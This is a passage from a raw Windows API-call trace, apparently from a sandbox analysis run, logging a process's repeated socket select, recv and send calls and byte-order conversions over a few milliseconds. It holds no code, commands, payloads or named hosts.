timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 2 [0119.451] rand () returned 12859 [0119.451] rand () returned 8723 [0119.451] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3db60650, dwHighDateTime=0x1d31ac1)) [0119.451] WSASetLastError (iError=0) [0119.451] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.451] SetLastError (dwErrCode=0x0) [0119.451] WSASetLastError (iError=0) [0119.451] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4016 [0119.451] SetLastError (dwErrCode=0x0) [0119.451] WSASetLastError (iError=0) [0119.452] recv (in: s=0x1d4, buf=0x866618, len=56, flags=0 | out: buf=0x866618) returned -1 [0119.452] WSAGetLastError () returned 10035 [0119.452] GetCurrentThreadId () returned 0x918 [0119.452] WSASetLastError (iError=0) [0119.452] send (in: s=0x1d4, buf=0x8697b3*, len=1057, flags=0 | out: buf=0x8697b3*) returned 1057 [0119.452] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.452] rand () returned 9741 [0119.452] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3db60650, dwHighDateTime=0x1d31ac1)) [0119.452] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.452] GetCurrentThreadId () returned 0x918 [0119.452] WSASetLastError (iError=0) [0119.452] recv (in: s=0x1d4, buf=0x866618, len=56, flags=0 | out: buf=0x866618*) returned 56 [0119.452] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.452] rand () returned 27529 [0119.452] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3db60650, dwHighDateTime=0x1d31ac1)) [0119.452] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.452] GetCurrentThreadId () returned 0x918 [0119.452] WSASetLastError (iError=0) [0119.452] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.452] SetLastError (dwErrCode=0x0) [0119.452] WSASetLastError (iError=0) [0119.453] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.453] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.453] rand () returned 778 [0119.453] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3db60650, dwHighDateTime=0x1d31ac1)) [0119.453] WSASetLastError (iError=0) [0119.453] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.453] SetLastError (dwErrCode=0x0) [0119.453] WSASetLastError (iError=0) [0119.453] recv (in: s=0x1d4, buf=0x865668, len=536, flags=0 | out: buf=0x865668*) returned 536 [0119.453] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.453] rand () returned 12316 [0119.453] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3db60650, dwHighDateTime=0x1d31ac1)) [0119.453] WSASetLastError (iError=0) [0119.453] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.453] SetLastError (dwErrCode=0x0) [0119.453] WSASetLastError (iError=0) [0119.456] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.456] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.456] rand () returned 3035 [0119.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3db60650, dwHighDateTime=0x1d31ac1)) [0119.456] WSASetLastError (iError=0) [0119.456] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.456] SetLastError (dwErrCode=0x0) [0119.456] WSASetLastError (iError=0) [0119.456] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.456] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.456] rand () returned 22190 [0119.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3db60650, dwHighDateTime=0x1d31ac1)) [0119.456] WSASetLastError (iError=0) [0119.456] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.456] SetLastError (dwErrCode=0x0) [0119.456] WSASetLastError (iError=0) [0119.456] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.457] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.457] rand () returned 1842 [0119.457] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3db60650, dwHighDateTime=0x1d31ac1)) [0119.457] WSASetLastError (iError=0) [0119.457] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.457] SetLastError (dwErrCode=0x0) [0119.457] WSASetLastError (iError=0) [0119.457] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.457] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 2 [0119.457] rand () returned 288 [0119.457] rand () returned 30106 [0119.457] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3db867b0, dwHighDateTime=0x1d31ac1)) [0119.457] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.457] GetCurrentThreadId () returned 0x918 [0119.457] WSASetLastError (iError=0) [0119.457] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.457] SetLastError (dwErrCode=0x0) [0119.458] WSASetLastError (iError=0) [0119.458] recv (in: s=0x1d4, buf=0x865668, len=280, flags=0 | out: buf=0x865668*) returned 280 [0119.458] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.458] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.458] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.458] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.458] htons (hostshort=0x0) returned 0x0 [0119.458] htons (hostshort=0x3393) returned 0x9333 [0119.458] htons (hostshort=0xf201) returned 0x1f2 [0119.458] htons (hostshort=0x0) returned 0x0 [0119.458] htons (hostshort=0x3393) returned 0x9333 [0119.458] htons (hostshort=0xf201) returned 0x1f2 [0119.458] htons (hostshort=0x0) returned 0x0 [0119.458] htons (hostshort=0x9333) returned 0x3393 [0119.458] htons (hostshort=0x1f2) returned 0xf201 [0119.458] htons (hostshort=0x0) returned 0x0 [0119.458] htons (hostshort=0x3393) returned 0x9333 [0119.458] htons (hostshort=0xf201) returned 0x1f2 [0119.458] htons (hostshort=0x0) returned 0x0 [0119.458] htons (hostshort=0x3393) returned 0x9333 [0119.458] htons (hostshort=0xf201) returned 0x1f2 [0119.458] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.458] GetCurrentThreadId () returned 0x918 [0119.458] WSASetLastError (iError=0) [0119.458] send (in: s=0x1d4, buf=0x8697b3*, len=543, flags=0 | out: buf=0x8697b3*) returned 543 [0119.458] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.458] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.458] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b23 [0119.458] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b23 [0119.458] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5f8 | out: lpSystemTimeAsFileTime=0x36f5f8*(dwLowDateTime=0x3db867b0, dwHighDateTime=0x1d31ac1)) [0119.458] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f658 | out: lpSystemTimeAsFileTime=0x36f658*(dwLowDateTime=0x3db867b0, dwHighDateTime=0x1d31ac1)) [0119.458] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.458] rand () returned 9040 [0119.458] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3db867b0, dwHighDateTime=0x1d31ac1)) [0119.458] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.458] GetCurrentThreadId () returned 0x918 [0119.458] WSASetLastError (iError=0) [0119.459] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.459] SetLastError (dwErrCode=0x0) [0119.459] WSASetLastError (iError=0) [0119.459] recv (in: s=0x1d4, buf=0x865668, len=3816, flags=0 | out: buf=0x865668*) returned 3816 [0119.459] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.459] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.459] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.459] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.459] htons (hostshort=0x0) returned 0x0 [0119.459] htons (hostshort=0x3393) returned 0x9333 [0119.459] htons (hostshort=0xf201) returned 0x1f2 [0119.459] htons (hostshort=0x0) returned 0x0 [0119.459] htons (hostshort=0x3393) returned 0x9333 [0119.459] htons (hostshort=0xf201) returned 0x1f2 [0119.459] htons (hostshort=0x0) returned 0x0 [0119.459] htons (hostshort=0x9333) returned 0x3393 [0119.459] htons (hostshort=0x1f2) returned 0xf201 [0119.459] htons (hostshort=0x0) returned 0x0 [0119.459] htons (hostshort=0x3393) returned 0x9333 [0119.459] htons (hostshort=0xf201) returned 0x1f2 [0119.459] htons (hostshort=0x0) returned 0x0 [0119.459] htons (hostshort=0x3393) returned 0x9333 [0119.459] htons (hostshort=0xf201) returned 0x1f2 [0119.459] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.459] htons (hostshort=0x0) returned 0x0 [0119.459] htons (hostshort=0x3393) returned 0x9333 [0119.459] htons (hostshort=0xf201) returned 0x1f2 [0119.459] htons (hostshort=0x0) returned 0x0 [0119.459] htons (hostshort=0x3393) returned 0x9333 [0119.459] htons (hostshort=0xf201) returned 0x1f2 [0119.459] htons (hostshort=0x0) returned 0x0 [0119.459] htons (hostshort=0x9333) returned 0x3393 [0119.459] htons (hostshort=0x1f2) returned 0xf201 [0119.459] htons (hostshort=0x0) returned 0x0 [0119.459] htons (hostshort=0x3393) returned 0x9333 [0119.459] htons (hostshort=0xf201) returned 0x1f2 [0119.459] htons (hostshort=0x0) returned 0x0 [0119.459] htons (hostshort=0x3393) returned 0x9333 [0119.459] htons (hostshort=0xf201) returned 0x1f2 [0119.459] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.459] htons (hostshort=0x0) returned 0x0 [0119.459] htons (hostshort=0x3393) returned 0x9333 [0119.460] htons (hostshort=0xf201) returned 0x1f2 [0119.460] htons (hostshort=0x0) returned 0x0 [0119.460] htons (hostshort=0x3393) returned 0x9333 [0119.460] htons (hostshort=0xf201) returned 0x1f2 [0119.460] htons (hostshort=0x0) returned 0x0 [0119.460] htons (hostshort=0x9333) returned 0x3393 [0119.460] htons (hostshort=0x1f2) returned 0xf201 [0119.460] htons (hostshort=0x0) returned 0x0 [0119.460] htons (hostshort=0x3393) returned 0x9333 [0119.460] htons (hostshort=0xf201) returned 0x1f2 [0119.460] htons (hostshort=0x0) returned 0x0 [0119.460] htons (hostshort=0x3393) returned 0x9333 [0119.460] htons (hostshort=0xf201) returned 0x1f2 [0119.460] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.460] htons (hostshort=0x0) returned 0x0 [0119.460] htons (hostshort=0x3393) returned 0x9333 [0119.460] htons (hostshort=0xf201) returned 0x1f2 [0119.460] htons (hostshort=0x0) returned 0x0 [0119.460] htons (hostshort=0x3393) returned 0x9333 [0119.460] htons (hostshort=0xf201) returned 0x1f2 [0119.460] htons (hostshort=0x0) returned 0x0 [0119.460] htons (hostshort=0x9333) returned 0x3393 [0119.460] htons (hostshort=0x1f2) returned 0xf201 [0119.460] htons (hostshort=0x0) returned 0x0 [0119.460] htons (hostshort=0x3393) returned 0x9333 [0119.460] htons (hostshort=0xf201) returned 0x1f2 [0119.460] htons (hostshort=0x0) returned 0x0 [0119.460] htons (hostshort=0x3393) returned 0x9333 [0119.460] htons (hostshort=0xf201) returned 0x1f2 [0119.460] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.460] htons (hostshort=0x0) returned 0x0 [0119.460] htons (hostshort=0x3393) returned 0x9333 [0119.460] htons (hostshort=0xf201) returned 0x1f2 [0119.460] htons (hostshort=0x0) returned 0x0 [0119.460] htons (hostshort=0x3393) returned 0x9333 [0119.461] htons (hostshort=0xf201) returned 0x1f2 [0119.461] htons (hostshort=0x0) returned 0x0 [0119.461] htons (hostshort=0x9333) returned 0x3393 [0119.461] htons (hostshort=0x1f2) returned 0xf201 [0119.461] htons (hostshort=0x0) returned 0x0 [0119.461] htons (hostshort=0x3393) returned 0x9333 [0119.461] htons (hostshort=0xf201) returned 0x1f2 [0119.461] htons (hostshort=0x0) returned 0x0 [0119.461] htons (hostshort=0x3393) returned 0x9333 [0119.461] htons (hostshort=0xf201) returned 0x1f2 [0119.461] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.461] htons (hostshort=0x0) returned 0x0 [0119.461] htons (hostshort=0x3393) returned 0x9333 [0119.461] htons (hostshort=0xf201) returned 0x1f2 [0119.461] htons (hostshort=0x0) returned 0x0 [0119.461] htons (hostshort=0x3393) returned 0x9333 [0119.461] htons (hostshort=0xf201) returned 0x1f2 [0119.461] htons (hostshort=0x0) returned 0x0 [0119.461] htons (hostshort=0x9333) returned 0x3393 [0119.461] htons (hostshort=0x1f2) returned 0xf201 [0119.461] htons (hostshort=0x0) returned 0x0 [0119.461] htons (hostshort=0x3393) returned 0x9333 [0119.461] htons (hostshort=0xf201) returned 0x1f2 [0119.461] htons (hostshort=0x0) returned 0x0 [0119.461] htons (hostshort=0x3393) returned 0x9333 [0119.461] htons (hostshort=0xf201) returned 0x1f2 [0119.461] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.461] htons (hostshort=0x0) returned 0x0 [0119.461] htons (hostshort=0x3393) returned 0x9333 [0119.461] htons (hostshort=0xf201) returned 0x1f2 [0119.461] htons (hostshort=0x0) returned 0x0 [0119.461] htons (hostshort=0x3393) returned 0x9333 [0119.461] htons (hostshort=0xf201) returned 0x1f2 [0119.461] htons (hostshort=0x0) returned 0x0 [0119.461] htons (hostshort=0x9333) returned 0x3393 [0119.461] htons (hostshort=0x1f2) returned 0xf201 [0119.462] htons (hostshort=0x0) returned 0x0 [0119.462] htons (hostshort=0x3393) returned 0x9333 [0119.462] htons (hostshort=0xf201) returned 0x1f2 [0119.462] htons (hostshort=0x0) returned 0x0 [0119.462] htons (hostshort=0x3393) returned 0x9333 [0119.462] htons (hostshort=0xf201) returned 0x1f2 [0119.462] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.462] rand () returned 8942 [0119.462] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3db867b0, dwHighDateTime=0x1d31ac1)) [0119.462] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.462] GetCurrentThreadId () returned 0x918 [0119.462] WSASetLastError (iError=0) [0119.462] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.462] SetLastError (dwErrCode=0x0) [0119.462] WSASetLastError (iError=0) [0119.462] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.462] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.462] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.462] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.462] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.463] htons (hostshort=0x0) returned 0x0 [0119.463] htons (hostshort=0x3393) returned 0x9333 [0119.463] htons (hostshort=0xc001) returned 0x1c0 [0119.463] htons (hostshort=0x0) returned 0x0 [0119.463] htons (hostshort=0x3393) returned 0x9333 [0119.463] htons (hostshort=0xc001) returned 0x1c0 [0119.463] htons (hostshort=0x0) returned 0x0 [0119.463] htons (hostshort=0x9333) returned 0x3393 [0119.463] htons (hostshort=0x1c0) returned 0xc001 [0119.463] htons (hostshort=0x0) returned 0x0 [0119.463] htons (hostshort=0x3393) returned 0x9333 [0119.463] htons (hostshort=0xc001) returned 0x1c0 [0119.463] htons (hostshort=0x0) returned 0x0 [0119.463] htons (hostshort=0x3393) returned 0x9333 [0119.463] htons (hostshort=0xc001) returned 0x1c0 [0119.463] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.463] htons (hostshort=0x0) returned 0x0 [0119.463] htons (hostshort=0x3393) returned 0x9333 [0119.463] htons (hostshort=0xf201) returned 0x1f2 [0119.463] htons (hostshort=0x0) returned 0x0 [0119.463] htons (hostshort=0x3393) returned 0x9333 [0119.463] htons (hostshort=0xf201) returned 0x1f2 [0119.463] htons (hostshort=0x0) returned 0x0 [0119.463] htons (hostshort=0x9333) returned 0x3393 [0119.463] htons (hostshort=0x1f2) returned 0xf201 [0119.463] htons (hostshort=0x0) returned 0x0 [0119.463] htons (hostshort=0x3393) returned 0x9333 [0119.463] htons (hostshort=0xf201) returned 0x1f2 [0119.463] htons (hostshort=0x0) returned 0x0 [0119.463] htons (hostshort=0x3393) returned 0x9333 [0119.463] htons (hostshort=0xf201) returned 0x1f2 [0119.463] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.463] htons (hostshort=0x0) returned 0x0 [0119.463] htons (hostshort=0x3393) returned 0x9333 [0119.463] htons (hostshort=0xf201) returned 0x1f2 [0119.463] htons (hostshort=0x0) returned 0x0 [0119.463] htons (hostshort=0x3393) returned 0x9333 [0119.464] htons (hostshort=0xf201) returned 0x1f2 [0119.464] htons (hostshort=0x0) returned 0x0 [0119.464] htons (hostshort=0x9333) returned 0x3393 [0119.464] htons (hostshort=0x1f2) returned 0xf201 [0119.464] htons (hostshort=0x0) returned 0x0 [0119.464] htons (hostshort=0x3393) returned 0x9333 [0119.464] htons (hostshort=0xf201) returned 0x1f2 [0119.464] htons (hostshort=0x0) returned 0x0 [0119.464] htons (hostshort=0x3393) returned 0x9333 [0119.464] htons (hostshort=0xf201) returned 0x1f2 [0119.464] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.464] htons (hostshort=0x0) returned 0x0 [0119.464] htons (hostshort=0x3393) returned 0x9333 [0119.464] htons (hostshort=0xf201) returned 0x1f2 [0119.464] htons (hostshort=0x0) returned 0x0 [0119.464] htons (hostshort=0x3393) returned 0x9333 [0119.464] htons (hostshort=0xf201) returned 0x1f2 [0119.464] htons (hostshort=0x0) returned 0x0 [0119.464] htons (hostshort=0x9333) returned 0x3393 [0119.464] htons (hostshort=0x1f2) returned 0xf201 [0119.464] htons (hostshort=0x0) returned 0x0 [0119.464] htons (hostshort=0x3393) returned 0x9333 [0119.464] htons (hostshort=0xf201) returned 0x1f2 [0119.464] htons (hostshort=0x0) returned 0x0 [0119.464] htons (hostshort=0x3393) returned 0x9333 [0119.464] htons (hostshort=0xf201) returned 0x1f2 [0119.464] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.464] htons (hostshort=0x0) returned 0x0 [0119.464] htons (hostshort=0x3393) returned 0x9333 [0119.464] htons (hostshort=0xf201) returned 0x1f2 [0119.464] htons (hostshort=0x0) returned 0x0 [0119.464] htons (hostshort=0x3393) returned 0x9333 [0119.464] htons (hostshort=0xf201) returned 0x1f2 [0119.464] htons (hostshort=0x0) returned 0x0 [0119.464] htons (hostshort=0x9333) returned 0x3393 [0119.464] htons (hostshort=0x1f2) returned 0xf201 [0119.464] htons (hostshort=0x0) returned 0x0 [0119.464] htons (hostshort=0x3393) returned 0x9333 [0119.464] htons (hostshort=0xf201) returned 0x1f2 [0119.464] htons (hostshort=0x0) returned 0x0 [0119.464] htons (hostshort=0x3393) returned 0x9333 [0119.464] htons (hostshort=0xf201) returned 0x1f2 [0119.464] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.464] htons (hostshort=0x0) returned 0x0 [0119.465] htons (hostshort=0x3393) returned 0x9333 [0119.465] htons (hostshort=0xf201) returned 0x1f2 [0119.465] htons (hostshort=0x0) returned 0x0 [0119.465] htons (hostshort=0x3393) returned 0x9333 [0119.465] htons (hostshort=0xf201) returned 0x1f2 [0119.465] htons (hostshort=0x0) returned 0x0 [0119.465] htons (hostshort=0x9333) returned 0x3393 [0119.465] htons (hostshort=0x1f2) returned 0xf201 [0119.465] htons (hostshort=0x0) returned 0x0 [0119.465] htons (hostshort=0x3393) returned 0x9333 [0119.465] htons (hostshort=0xf201) returned 0x1f2 [0119.465] htons (hostshort=0x0) returned 0x0 [0119.465] htons (hostshort=0x3393) returned 0x9333 [0119.465] htons (hostshort=0xf201) returned 0x1f2 [0119.465] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.465] htons (hostshort=0x0) returned 0x0 [0119.465] htons (hostshort=0x3393) returned 0x9333 [0119.465] htons (hostshort=0xf201) returned 0x1f2 [0119.465] htons (hostshort=0x0) returned 0x0 [0119.465] htons (hostshort=0x3393) returned 0x9333 [0119.465] htons (hostshort=0xf201) returned 0x1f2 [0119.465] htons (hostshort=0x0) returned 0x0 [0119.465] htons (hostshort=0x9333) returned 0x3393 [0119.465] htons (hostshort=0x1f2) returned 0xf201 [0119.465] htons (hostshort=0x0) returned 0x0 [0119.465] htons (hostshort=0x3393) returned 0x9333 [0119.465] htons (hostshort=0xf201) returned 0x1f2 [0119.465] htons (hostshort=0x0) returned 0x0 [0119.465] htons (hostshort=0x3393) returned 0x9333 [0119.465] htons (hostshort=0xf201) returned 0x1f2 [0119.465] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.465] htons (hostshort=0x0) returned 0x0 [0119.465] htons (hostshort=0x3393) returned 0x9333 [0119.465] htons (hostshort=0xf201) returned 0x1f2 [0119.465] htons (hostshort=0x0) returned 0x0 [0119.465] htons (hostshort=0x3393) returned 0x9333 [0119.465] htons (hostshort=0xf201) returned 0x1f2 [0119.465] htons (hostshort=0x0) returned 0x0 [0119.465] htons (hostshort=0x9333) returned 0x3393 [0119.465] htons (hostshort=0x1f2) returned 0xf201 [0119.465] htons (hostshort=0x0) returned 0x0 [0119.465] htons (hostshort=0x3393) returned 0x9333 [0119.465] htons (hostshort=0xf201) returned 0x1f2 [0119.465] htons (hostshort=0x0) returned 0x0 [0119.465] htons (hostshort=0x3393) returned 0x9333 [0119.465] htons (hostshort=0xf201) returned 0x1f2 [0119.465] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.466] rand () returned 19264 [0119.466] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3db867b0, dwHighDateTime=0x1d31ac1)) [0119.466] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.466] GetCurrentThreadId () returned 0x918 [0119.466] WSASetLastError (iError=0) [0119.466] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.466] SetLastError (dwErrCode=0x0) [0119.466] WSASetLastError (iError=0) [0119.466] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.466] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.466] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.466] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.466] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.466] htons (hostshort=0x0) returned 0x0 [0119.466] htons (hostshort=0x3393) returned 0x9333 [0119.466] htons (hostshort=0xf201) returned 0x1f2 [0119.466] htons (hostshort=0x0) returned 0x0 [0119.466] htons (hostshort=0x3393) returned 0x9333 [0119.466] htons (hostshort=0xf201) returned 0x1f2 [0119.466] htons (hostshort=0x0) returned 0x0 [0119.466] htons (hostshort=0x9333) returned 0x3393 [0119.466] htons (hostshort=0x1f2) returned 0xf201 [0119.466] htons (hostshort=0x0) returned 0x0 [0119.466] htons (hostshort=0x3393) returned 0x9333 [0119.466] htons (hostshort=0xf201) returned 0x1f2 [0119.466] htons (hostshort=0x0) returned 0x0 [0119.466] htons (hostshort=0x3393) returned 0x9333 [0119.466] htons (hostshort=0xf201) returned 0x1f2 [0119.466] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.466] htons (hostshort=0x0) returned 0x0 [0119.466] htons (hostshort=0x3393) returned 0x9333 [0119.466] htons (hostshort=0xf201) returned 0x1f2 [0119.466] htons (hostshort=0x0) returned 0x0 [0119.467] htons (hostshort=0x3393) returned 0x9333 [0119.467] htons (hostshort=0xf201) returned 0x1f2 [0119.467] htons (hostshort=0x0) returned 0x0 [0119.467] htons (hostshort=0x9333) returned 0x3393 [0119.467] htons (hostshort=0x1f2) returned 0xf201 [0119.467] htons (hostshort=0x0) returned 0x0 [0119.467] htons (hostshort=0x3393) returned 0x9333 [0119.467] htons (hostshort=0xf201) returned 0x1f2 [0119.467] htons (hostshort=0x0) returned 0x0 [0119.467] htons (hostshort=0x3393) returned 0x9333 [0119.467] htons (hostshort=0xf201) returned 0x1f2 [0119.467] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.467] htons (hostshort=0x0) returned 0x0 [0119.467] htons (hostshort=0x3393) returned 0x9333 [0119.467] htons (hostshort=0xf201) returned 0x1f2 [0119.467] htons (hostshort=0x0) returned 0x0 [0119.467] htons (hostshort=0x3393) returned 0x9333 [0119.467] htons (hostshort=0xf201) returned 0x1f2 [0119.467] htons (hostshort=0x0) returned 0x0 [0119.467] htons (hostshort=0x9333) returned 0x3393 [0119.467] htons (hostshort=0x1f2) returned 0xf201 [0119.467] htons (hostshort=0x0) returned 0x0 [0119.467] htons (hostshort=0x3393) returned 0x9333 [0119.467] htons (hostshort=0xf201) returned 0x1f2 [0119.467] htons (hostshort=0x0) returned 0x0 [0119.467] htons (hostshort=0x3393) returned 0x9333 [0119.467] htons (hostshort=0xf201) returned 0x1f2 [0119.467] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.467] htons (hostshort=0x0) returned 0x0 [0119.467] htons (hostshort=0x3393) returned 0x9333 [0119.467] htons (hostshort=0xf201) returned 0x1f2 [0119.467] htons (hostshort=0x0) returned 0x0 [0119.467] htons (hostshort=0x3393) returned 0x9333 [0119.467] htons (hostshort=0xf201) returned 0x1f2 [0119.467] htons (hostshort=0x0) returned 0x0 [0119.467] htons (hostshort=0x9333) returned 0x3393 [0119.467] htons (hostshort=0x1f2) returned 0xf201 [0119.467] htons (hostshort=0x0) returned 0x0 [0119.467] htons (hostshort=0x3393) returned 0x9333 [0119.467] htons (hostshort=0xf201) returned 0x1f2 [0119.467] htons (hostshort=0x0) returned 0x0 [0119.467] htons (hostshort=0x3393) returned 0x9333 [0119.467] htons (hostshort=0xf201) returned 0x1f2 [0119.467] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.468] htons (hostshort=0x0) returned 0x0 [0119.468] htons (hostshort=0x3393) returned 0x9333 [0119.468] htons (hostshort=0xf201) returned 0x1f2 [0119.468] htons (hostshort=0x0) returned 0x0 [0119.468] htons (hostshort=0x3393) returned 0x9333 [0119.468] htons (hostshort=0xf201) returned 0x1f2 [0119.468] htons (hostshort=0x0) returned 0x0 [0119.468] htons (hostshort=0x9333) returned 0x3393 [0119.468] htons (hostshort=0x1f2) returned 0xf201 [0119.468] htons (hostshort=0x0) returned 0x0 [0119.468] htons 